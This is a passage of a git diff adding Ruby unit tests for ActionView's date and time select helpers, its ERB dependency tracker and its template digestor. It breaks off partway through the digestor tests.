+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_year: true, discard_month: true)
+  end
+
+  def test_datetime_select_discard_year_and_month_with_disabled_html_option
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
+
+    expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", { discard_year: true, discard_month: true }, disabled: true)
+  end
+
+  def test_datetime_select_discard_hour
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_hour: true)
+  end
+
+  def test_datetime_select_discard_minute
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_minute: true)
+  end
+
+  def test_datetime_select_disabled_and_discard_minute
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}.dup
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_minute: true, disabled: true)
+  end
+
+  def test_datetime_select_invalid_order
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}.dup
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", order: [:minute, :day, :hour, :month, :year, :second])
+  end
+
+  def test_datetime_select_discard_with_order
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}.dup
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", order: [:day, :month])
+  end
+
+  def test_datetime_select_with_default_value_as_time
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", default: Time.local(2006, 9, 19, 15, 16, 35))
+  end
+
+  def test_include_blank_overrides_default_option
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    expected << %(<option value=""></option>\n)
+    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %(<option value=""></option>\n)
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %(<option value=""></option>\n)
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "updated_at", default: Time.local(2006, 9, 19, 15, 16, 35), include_blank: true)
+  end
+
+  def test_datetime_select_with_default_value_as_hash
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", default: { month: 10, minute: 42, hour: 9 })
+  end
+
+  def test_datetime_select_with_html_options
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", {}, class: "selector")
+  end
+
+  def test_date_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = {
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }
+    date_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }, options)
+  end
+
+  def test_datetime_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = {
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }
+    datetime_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }, options)
+  end
+
+  def test_time_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = {
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }
+    time_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }, options)
+  end
+
+  def test_select_date_should_not_change_passed_options_hash
+    options = {
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }
+    select_date(Date.today, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }, options)
+  end
+
+  def test_select_datetime_should_not_change_passed_options_hash
+    options = {
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }
+    select_datetime(Time.now, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }, options)
+  end
+
+  def test_select_time_should_not_change_passed_options_hash
+    options = {
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }
+    select_time(Time.now, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      order: [ :year, :month, :day ],
+      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },
+      discard_type: false,
+      include_blank: false,
+      ignore_date: false,
+      include_seconds: true
+    }, options)
+  end
+
+  def test_select_html_safety
+    assert select_day(16).html_safe?
+    assert select_month(8).html_safe?
+    assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+    assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+    assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+
+    assert select_minute(8, use_hidden: true).html_safe?
+    assert select_month(8, prompt: "Choose month").html_safe?
+
+    assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector").html_safe?
+    assert select_date(Time.mktime(2003, 8, 16), date_separator: " / ", start_year: 2003, end_year: 2005, prefix: "date[first]").html_safe?
+  end
+
+  def test_object_select_html_safety
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    assert date_select("post", "written_on", default: Time.local(2006, 9, 19, 15, 16, 35), include_blank: true).html_safe?
+    assert time_select("post", "written_on", ignore_date: true).html_safe?
+  end
+
+  def test_time_tag_with_date
+    date = Date.new(2013, 2, 20)
+    expected = '<time datetime="2013-02-20">February 20, 2013</time>'
+    assert_equal expected, time_tag(date)
+  end
+
+  def test_time_tag_with_time
+    time = Time.new(2013, 2, 20, 0, 0, 0, "+00:00")
+    expected = '<time datetime="2013-02-20T00:00:00+00:00">February 20, 2013 00:00</time>'
+    assert_equal expected, time_tag(time)
+  end
+
+  def test_time_tag_with_given_text
+    assert_match(/<time.*>Right now<\/time>/, time_tag(Time.now, "Right now"))
+  end
+
+  def test_time_tag_with_given_block
+    assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now) { raw("<span>Right now</span>") })
+  end
+
+  def test_time_tag_with_different_format
+    time = Time.new(2013, 2, 20, 0, 0, 0, "+00:00")
+    expected = '<time datetime="2013-02-20T00:00:00+00:00">20 Feb 00:00</time>'
+    assert_equal expected, time_tag(time, format: :short)
+  end
+end
diff --git a/actionview/test/template/dependency_tracker_test.rb b/actionview/test/template/dependency_tracker_test.rb
new file mode 100644
index 0000000000..ef7aeac039
--- /dev/null
+++ b/actionview/test/template/dependency_tracker_test.rb
@@ -0,0 +1,195 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_view/dependency_tracker"
+
+class NeckbeardTracker
+  def self.call(name, template)
+    ["foo/#{name}"]
+  end
+end
+
+class FakeTemplate
+  attr_reader :source, :handler
+
+  def initialize(source, handler = Neckbeard)
+    @source, @handler = source, handler
+  end
+end
+
+Neckbeard = lambda { |template| template.source }
+Bowtie = lambda { |template| template.source }
+
+class DependencyTrackerTest < ActionView::TestCase
+  def tracker
+    ActionView::DependencyTracker
+  end
+
+  def setup
+    ActionView::Template.register_template_handler :neckbeard, Neckbeard
+    tracker.register_tracker(:neckbeard, NeckbeardTracker)
+  end
+
+  def teardown
+    ActionView::Template.unregister_template_handler :neckbeard
+    tracker.remove_tracker(:neckbeard)
+  end
+
+  def test_finds_tracker_by_template_handler
+    template = FakeTemplate.new("boo/hoo")
+    dependencies = tracker.find_dependencies("boo/hoo", template)
+    assert_equal ["foo/boo/hoo"], dependencies
+  end
+
+  def test_returns_empty_array_if_no_tracker_is_found
+    template = FakeTemplate.new("boo/hoo", Bowtie)
+    dependencies = tracker.find_dependencies("boo/hoo", template)
+    assert_equal [], dependencies
+  end
+end
+
+class ERBTrackerTest < Minitest::Test
+  def make_tracker(name, template)
+    ActionView::DependencyTracker::ERBTracker.new(name, template)
+  end
+
+  def test_dependency_of_erb_template_with_number_in_filename
+    template = FakeTemplate.new("<%# render 'messages/message123' %>", :erb)
+    tracker = make_tracker("messages/_message123", template)
+
+    assert_equal ["messages/message123"], tracker.dependencies
+  end
+
+  def test_dependency_of_template_partial_with_layout
+    template = FakeTemplate.new("<%# render partial: 'messages/show', layout: 'messages/layout' %>", :erb)
+    tracker = make_tracker("multiple/_dependencies", template)
+
+    assert_equal ["messages/layout", "messages/show"], tracker.dependencies
+  end
+
+  def test_dependency_of_template_layout_standalone
+    template = FakeTemplate.new("<%# render layout: 'messages/layout' do %>", :erb)
+    tracker = make_tracker("messages/layout", template)
+
+    assert_equal ["messages/layout"], tracker.dependencies
+  end
+
+  def test_finds_dependency_in_correct_directory
+    template = FakeTemplate.new("<%# render(message.topic) %>", :erb)
+    tracker = make_tracker("messages/_message", template)
+
+    assert_equal ["topics/topic"], tracker.dependencies
+  end
+
+  def test_finds_dependency_in_correct_directory_with_underscore
+    template = FakeTemplate.new("<%# render(message_type.messages) %>", :erb)
+    tracker = make_tracker("message_types/_message_type", template)
+
+    assert_equal ["messages/message"], tracker.dependencies
+  end
+
+  def test_dependency_of_erb_template_with_no_spaces_after_render
+    template = FakeTemplate.new("<%# render'messages/message' %>", :erb)
+    tracker = make_tracker("messages/_message", template)
+
+    assert_equal ["messages/message"], tracker.dependencies
+  end
+
+  def test_finds_no_dependency_when_render_begins_the_name_of_an_identifier
+    template = FakeTemplate.new("<%# rendering 'it useless' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_finds_no_dependency_when_render_ends_the_name_of_another_method
+    template = FakeTemplate.new("<%# surrender 'to reason' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_finds_dependency_on_multiline_render_calls
+    template = FakeTemplate.new("<%#
+      render :object => @all_posts,
+             :partial => 'posts' %>", :erb)
+
+    tracker = make_tracker("some/_little_posts", template)
+
+    assert_equal ["some/posts"], tracker.dependencies
+  end
+
+  def test_finds_multiple_unrelated_odd_dependencies
+    template = FakeTemplate.new("
+      <%# render('shared/header', title: 'Title') %>
+      <h2>Section title</h2>
+      <%# render@section %>
+    ", :erb)
+
+    tracker = make_tracker("multiple/_dependencies", template)
+
+    assert_equal ["shared/header", "sections/section"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_for_all_kinds_of_identifiers
+    template = FakeTemplate.new("
+      <%# render $globals %>
+      <%# render @instance_variables %>
+      <%# render @@class_variables %>
+    ", :erb)
+
+    tracker = make_tracker("identifiers/_all", template)
+
+    assert_equal [
+      "globals/global",
+      "instance_variables/instance_variable",
+      "class_variables/class_variable"
+    ], tracker.dependencies
+  end
+
+  def test_finds_dependencies_on_method_chains
+    template = FakeTemplate.new("<%# render @parent.child.grandchildren %>", :erb)
+    tracker = make_tracker("method/_chains", template)
+
+    assert_equal ["grandchildren/grandchild"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_special_characters
+    template = FakeTemplate.new("<%# render @pokémon, partial: 'ピカチュウ' %>", :erb)
+    tracker = make_tracker("special/_characters", template)
+
+    assert_equal ["special/ピカチュウ"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_quotes_within
+    template = FakeTemplate.new(%{
+      <%# render "single/quote's" %>
+      <%# render 'double/quote"s' %>
+    }, :erb)
+
+    tracker = make_tracker("quotes/_single_and_double", template)
+
+    assert_equal ["single/quote's", 'double/quote"s'], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_extra_spaces
+    template = FakeTemplate.new(%{
+      <%= render              "header" %>
+      <%= render    partial:  "form" %>
+      <%= render              @message %>
+      <%= render ( @message.events ) %>
+      <%= render    :collection => @message.comments,
+                    :partial =>    "comments/comment" %>
+    }, :erb)
+
+    tracker = make_tracker("spaces/_extra", template)
+
+    assert_equal [
+      "spaces/header",
+      "spaces/form",
+      "messages/message",
+      "events/event",
+      "comments/comment"
+    ], tracker.dependencies
+  end
+end
diff --git a/actionview/test/template/digestor_test.rb b/actionview/test/template/digestor_test.rb
new file mode 100644
index 0000000000..928b1ac7dd
--- /dev/null
+++ b/actionview/test/template/digestor_test.rb
@@ -0,0 +1,388 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "fileutils"
+require "action_view/dependency_tracker"
+
+class FixtureTemplate
+  attr_reader :source, :handler
+
+  def initialize(template_path)
+    @source = File.read(template_path)
+    @handler = ActionView::Template.handler_for_extension(:erb)
+  rescue Errno::ENOENT
+    raise ActionView::MissingTemplate.new([], "", [], true, [])
+  end
+end
+
+class FixtureFinder < ActionView::LookupContext
+  FIXTURES_DIR = File.expand_path("../fixtures/digestor", __dir__)
+
+  def initialize(details = {})
+    super(ActionView::PathSet.new(["digestor", "digestor/api"]), details, [])
+    @rendered_format = :html
+  end
+end
+
+class ActionView::Digestor::Node
+  def flatten
+    [self] + children.flat_map(&:flatten)
+  end
+end
+
+class TemplateDigestorTest < ActionView::TestCase
+  def setup
+    @cwd     = Dir.pwd
+    @tmp_dir = Dir.mktmpdir
+
+    ActionView::LookupContext::DetailsKey.clear
+    FileUtils.cp_r FixtureFinder::FIXTURES_DIR, @tmp_dir
+    Dir.chdir @tmp_dir
+  end
+
+  def teardown
+    Dir.chdir @cwd
+    FileUtils.rm_r @tmp_dir
+  end
+
+  def test_top_level_change_reflected
+    assert_digest_difference("messages/show") do
+      change_template("messages/show")
+    end
+  end
+
+  def test_explicit_dependency
+    assert_digest_difference("messages/show") do
+      change_template("messages/_message")
+    end
+  end
+
+  def test_explicit_dependency_in_multiline_erb_tag
+    assert_digest_difference("messages/show") do
+      change_template("messages/_form")
+    end
+  end
+
+  def test_explicit_dependency_wildcard
+    assert_digest_difference("events/index") do
+      change_template("events/_completed")
+    end
+  end
+
+  def test_explicit_dependency_wildcard_picks_up_added_file
+    disable_resolver_caching do
+      assert_digest_difference("events/index") do
+        add_template("events/_uncompleted")
+      end
+    end
+  end
+
+  def test_explicit_dependency_wildcard_picks_up_removed_file
+    disable_resolver_caching do
